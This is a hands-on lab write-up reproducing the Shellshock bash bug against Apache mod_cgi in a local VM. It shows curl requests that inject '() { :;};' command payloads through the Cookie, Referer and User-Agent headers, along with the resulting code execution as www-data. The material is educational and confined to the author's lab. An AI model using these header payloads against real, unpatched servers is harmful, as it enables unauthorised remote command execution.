Shellshock mod_cgi Exploit Analysis
So, we want to exploit the shellshock bash bug.
First, we have to setup our lab.
We're gonna need the right versions of bash and, depending on how we want to exploit the bug, the proper version of whatever other software we might need.
Let's start by finding the CVE. We'll google "shellshock", go to the Wikipedia page, and we find that the second paragraph links to the CVE.
CVE-2014-6271 contains some information about an example exploit of the shellshock vulnerability through the mod_cgi and mod_cgid modules in Apache.
I think that's the route I'll take. I'm not sure how mod_cgi would be able to run what we need to run, but we'll get there.
We can look for other examples of a shellshock exploit via Apache on exploit-db.com.
Sure enough, there's a python script for this exact exploit here.
So, let's setup an Ubuntu VM, get the proper version of Bash installed and install Apache.
But, what version of Bash do we need?
CVE-2014-6271 states that Bash 4.3 is affected, but let's check for a more specific version.
The Shellshock Wiki page says the affected Bash version is 1.0.3-4.3, so I guess 4.3 was it haha.
We might be able to get away with just installing an old version of Ubuntu and hopefully the Bash version matches the time period of the image. If we look at the Ubuntu version history and find the version that was available just before the discovery of Shellshock, we see that version 12.04 should work.
Okay. I've created a VM and installed Ubuntu 12.04.4 on it. And, I've found that the stock Bash version is 4.2.25, which I thinkkk should work(?).
luis@shellshock:~$ bash --version GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
Luckily, there's an easy way to check, by running the following:
luis@shellshock:~$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
Cool! We're good to go!
Now, let's install Apache, forward port 80, and we can get going!
Next, I need to get a grasp of how the mod_cgi module can set environment variables. TO THE DOCS!!!
Googling for "Apache mod_cgi" returned the following documentation link.
It looks like it runs CGI scripts. Makes sense.
There's a section in this doc titled "CGI Environment Variables", which seems promising.
Okay, so it looks like those aren't writable from our end. They're set by the server and passed to CGI scripts.
Not sure where to look next.
So, let's look back at the exploit from exploit-db.
The exploit uses "specific cgi vulnerable pages" to exploit the vulnerability. The list of default "vulnerable pages" is as follows:
["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]
The payload of the exploit is placed in the "Cookie" and "Referer" headers.
So, I'm assuming "vulnerable pages" set environment variables based on the contents of the "Referer" or "Cookie" header.
Now, I need to learn how to setup CGI scripts in Apache.
A quick Google search lead me to this Apache documentation page.
Following the document, I perform the following steps to configure Apache to permit CGI:
1. Make sure the CGI module is enabled
luis@shellshock:~$ ls /etc/apache2/mods-enabled/cgid.* /etc/apache2/mods-enabled/cgid.conf /etc/apache2/mods-enabled/cgid.load
2. Make sure the CGI program directory is set somewhere
luis@shellshock:~$ grep -rnHI 'ScriptAlias' /etc/apache2/* 2>/dev/null /etc/apache2/mods-available/mime.conf:215:# To use CGI scripts outside of ScriptAliased directories: /etc/apache2/mods-enabled/mime.conf:215:# To use CGI scripts outside of ScriptAliased directories: /etc/apache2/sites-available/default-ssl:17: ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ /etc/apache2/sites-available/default:16: ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ /etc/apache2/sites-enabled/000-default:16: ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
3. Add a CGI script
luis@shellshock:~$ ls -l /usr/lib/cgi-bin/printenv -rwxr-xr-x 1 root root 274 Mar 28 17:45 /usr/lib/cgi-bin/printenv luis@shellshock:~$ cat /usr/lib/cgi-bin/printenv #!/usr/bin/perl ## ## printenv -- demo CGI program which just prints its environment ## print "Content-type: text/plain; charset=iso-8859-1\n\n"; foreach $var (sort(keys(%ENV))) { $val = $ENV{$var}; $val =~ s|\n|\\n|g; $val =~ s|"|\\"|g; print "${var}=\"${val}\"\n"; }
Now, when I navigate to "http://localhost:8080/cgi-bin/printenv", (port 8080 because I had to NAT out the VM) I see a list of environment variables printed out.
Let's try to exploit this with a basic curl request.
luis@wattson ~ $ curl -s -H 'Cookie: () { :;}; touch /tmp/abc.txt' http://localhost:8080/cgi-bin/printenv DOCUMENT_ROOT="/var/www" GATEWAY_INTERFACE="CGI/1.1" HTTP_ACCEPT="*/*" HTTP_COOKIE="() { :;}; touch /tmp/abc.txt" HTTP_HOST="localhost:8080" HTTP_USER_AGENT="curl/7.52.1" PATH="/usr/local/bin:/usr/bin:/bin" QUERY_STRING="" REMOTE_ADDR="10.0.2.2" REMOTE_PORT="56664" REQUEST_METHOD="GET" REQUEST_URI="/cgi-bin/printenv" SCRIPT_FILENAME="/usr/lib/cgi-bin/printenv" SCRIPT_NAME="/cgi-bin/printenv" SERVER_ADDR="10.0.2.15" SERVER_ADMIN="webmaster@localhost" SERVER_NAME="localhost" SERVER_PORT="8080" SERVER_PROTOCOL="HTTP/1.1" SERVER_SIGNATURE="<address>Apache/2.2.22 (Ubuntu) Server at localhost Port 8080</address>\n" SERVER_SOFTWARE="Apache/2.2.22 (Ubuntu)"
Okay, the environment variable was created.
Let's see if the command executed:
luis@shellshock:~$ ls -l /tmp/ total 16 drwx------ 2 luis luis 4096 Mar 28 16:51 keyring-X9dilg drwx------ 2 luis luis 4096 Mar 28 16:51 pulse-BANInrwxjL87 drwx------ 2 root root 4096 Mar 28 16:51 pulse-PKdhtXMmr18n drwx------ 2 luis luis 4096 Mar 28 16:51 ssh-IOxaUkEr1289 -rw-rw-r-- 1 luis luis 0 Mar 28 16:51 unity_support_test.1
Nope.
Hmm... In the example exploit the full path "/bin/bash" is used. Maybe we need the full path to the command we want to execute?
luis@wattson ~ $ curl -s -H 'Cookie: () { :;}; /usr/bin/touch /tmp/abc.txt' http://localhost:8080/cgi-bin/printenv DOCUMENT_ROOT="/var/www" GATEWAY_INTERFACE="CGI/1.1" HTTP_ACCEPT="*/*" HTTP_COOKIE="() { :;}; /usr/bin/touch /tmp/abc.txt" HTTP_HOST="localhost:8080" HTTP_USER_AGENT="curl/7.52.1" PATH="/usr/local/bin:/usr/bin:/bin" QUERY_STRING="" REMOTE_ADDR="10.0.2.2" REMOTE_PORT="56668" REQUEST_METHOD="GET" REQUEST_URI="/cgi-bin/printenv" SCRIPT_FILENAME="/usr/lib/cgi-bin/printenv" SCRIPT_NAME="/cgi-bin/printenv" SERVER_ADDR="10.0.2.15" SERVER_ADMIN="webmaster@localhost" SERVER_NAME="localhost" SERVER_PORT="8080" SERVER_PROTOCOL="HTTP/1.1" SERVER_SIGNATURE="<address>Apache/2.2.22 (Ubuntu) Server at localhost Port 8080</address>\n" SERVER_SOFTWARE="Apache/2.2.22 (Ubuntu)" luis@shellshock:~$ ls -l /tmp/ total 16 drwx------ 2 luis luis 4096 Mar 28 16:51 keyring-X9dilg drwx------ 2 luis luis 4096 Mar 28 16:51 pulse-BANInrwxjL87 drwx------ 2 root root 4096 Mar 28 16:51 pulse-PKdhtXMmr18n drwx------ 2 luis luis 4096 Mar 28 16:51 ssh-IOxaUkEr1289 -rw-rw-r-- 1 luis luis 0 Mar 28 16:51 unity_support_test.1
Nope, that didn't work either.
Why isn't it working?
I have a hypothesis. Maybe the space between "Cookie:" and "()" is what's causing the exploit to fail?
Quick test:
luis@shellshock:~$ env BLAHBLAH1='() { :;}; echo vurlnerable' bash -c 'echo this is a test' vurlnerable this is a test luis@shellshock:~$ env BLAHBLAH1=' () { :;}; echo vurlnerable' bash -c 'echo this is a test' this is a test luis@shellshock:~$ env BLAHBLAH1='() { :;}; echo vurlnerable' bash -c 'echo this is a test' vurlnerable this is a test
Okay. So, that might be it. Let's get rid of the space after the colon in the cookie header.
luis@wattson ShellshockExploitDev $ curl -s -H 'Cookie:() { :;}; /usr/bin/touch /tmp/abc.txt' -H 'Referer:() { :;}; usr/bin/touch /tmp/def.txt' http://localhost:8080/cgi-bin/printenv DOCUMENT_ROOT="/var/www" GATEWAY_INTERFACE="CGI/1.1" HTTP_ACCEPT="*/*" HTTP_COOKIE="() { :;}; /usr/bin/touch /tmp/abc.txt" HTTP_HOST="localhost:8080" HTTP_REFERER="() { :;}; usr/bin/touch /tmp/def.txt" HTTP_USER_AGENT="curl/7.64.0" PATH="/usr/local/bin:/usr/bin:/bin" QUERY_STRING="" REMOTE_ADDR="10.0.2.2" REMOTE_PORT="54232" REQUEST_METHOD="GET" REQUEST_URI="/cgi-bin/printenv" SCRIPT_FILENAME="/usr/lib/cgi-bin/printenv" SCRIPT_NAME="/cgi-bin/printenv" SERVER_ADDR="10.0.2.15" SERVER_ADMIN="webmaster@localhost" SERVER_NAME="localhost" SERVER_PORT="8080" SERVER_PROTOCOL="HTTP/1.1" SERVER_SIGNATURE="<address>Apache/2.2.22 (Ubuntu) Server at localhost Port 8080</address>\n" SERVER_SOFTWARE="Apache/2.2.22 (Ubuntu)" luis@shellshock:~$ ls /tmp/ keyring-U6iEna pulse-PKdhtXMmr18n pulse-v9lOqdKSRYK6 ssh-GqukpQRt1278 unity_support_test.1
Welp. So much for that.
Looking back at the exploit attempts where I used a space in the cookie header, the space after the colon was removed before the value was placed in the cookie environment variable. So, of course it wouldn't be a problem.
Just noticed something. The following works:
luis@shellshock:~$ env BLAH1='() { :;}; echo vulnerable' bash -c 'echo this is a test' vulnerable this is a test
But, this doesn't do the same thing:
luis@shellshock:~$ env BLAH1='() { :;}; echo vulnerable'
The printenv script I have just outputs environment variables. It doesn't start a new bash process.
So, bash needs to be run after the environment variable is created. It makes sense that the code in an environment variable wouldn't be executed until a bash process starts up and parses it.
Let's change the CGI script a bit:
luis@shellshock:~$ cat /usr/lib/cgi-bin/printenv #!/usr/bin/perl ## ## printenv -- demo CGI program which just prints its environment ## print "Content-type: text/plain; charset=iso-8859-1\n\n"; `/bin/bash -c 'echo blahblahblah'`; foreach $var (sort(keys(%ENV))) { $val = $ENV{$var}; $val =~ s|\n|\\n|g; $val =~ s|"|\\"|g; print "${var}=\"${val}\"\n"; } luis@shellshock:~$
I added an execution of bash in there.
Now, let's give it another shot.
luis@shellshock:~$ ls /tmp/ keyring-U6iEna pulse-PKdhtXMmr18n pulse-v9lOqdKSRYK6 ssh-GqukpQRt1278 unity_support_test.1 luis@wattson ShellshockExploitDev $ curl -i -s -H 'User-Agent: () { :;}; /usr/bin/touch /tmp/abc.txt' http://localhost:8080/cgi-bin/printenv HTTP/1.1 200 OK Date: Sun, 19 Apr 2020 19:31:33 GMT Server: Apache/2.2.22 (Ubuntu) Vary: Accept-Encoding Content-Length: 641 Content-Type: text/plain; charset=iso-8859-1 DOCUMENT_ROOT="/var/www" GATEWAY_INTERFACE="CGI/1.1" HTTP_ACCEPT="*/*" HTTP_HOST="localhost:8080" HTTP_USER_AGENT="() { :;}; /usr/bin/touch /tmp/abc.txt" PATH="/usr/local/bin:/usr/bin:/bin" QUERY_STRING="" REMOTE_ADDR="10.0.2.2" REMOTE_PORT="54864" REQUEST_METHOD="GET" REQUEST_URI="/cgi-bin/printenv" SCRIPT_FILENAME="/usr/lib/cgi-bin/printenv" SCRIPT_NAME="/cgi-bin/printenv" SERVER_ADDR="10.0.2.15" SERVER_ADMIN="webmaster@localhost" SERVER_NAME="localhost" SERVER_PORT="8080" SERVER_PROTOCOL="HTTP/1.1" SERVER_SIGNATURE="<address>Apache/2.2.22 (Ubuntu) Server at localhost Port 8080</address>\n" SERVER_SOFTWARE="Apache/2.2.22 (Ubuntu)" luis@shellshock:~$ ls -l /tmp/abc.txt -rw-r--r-- 1 www-data www-data 0 Apr 19 14:31 /tmp/abc.txt
And there we go. We've got code execution.
So, I've discovered what makes this exploit work on Apache. You need CGI scripts enabled and the script you use needs to start a bash child process.
If those two requirements are met, the exploit will work.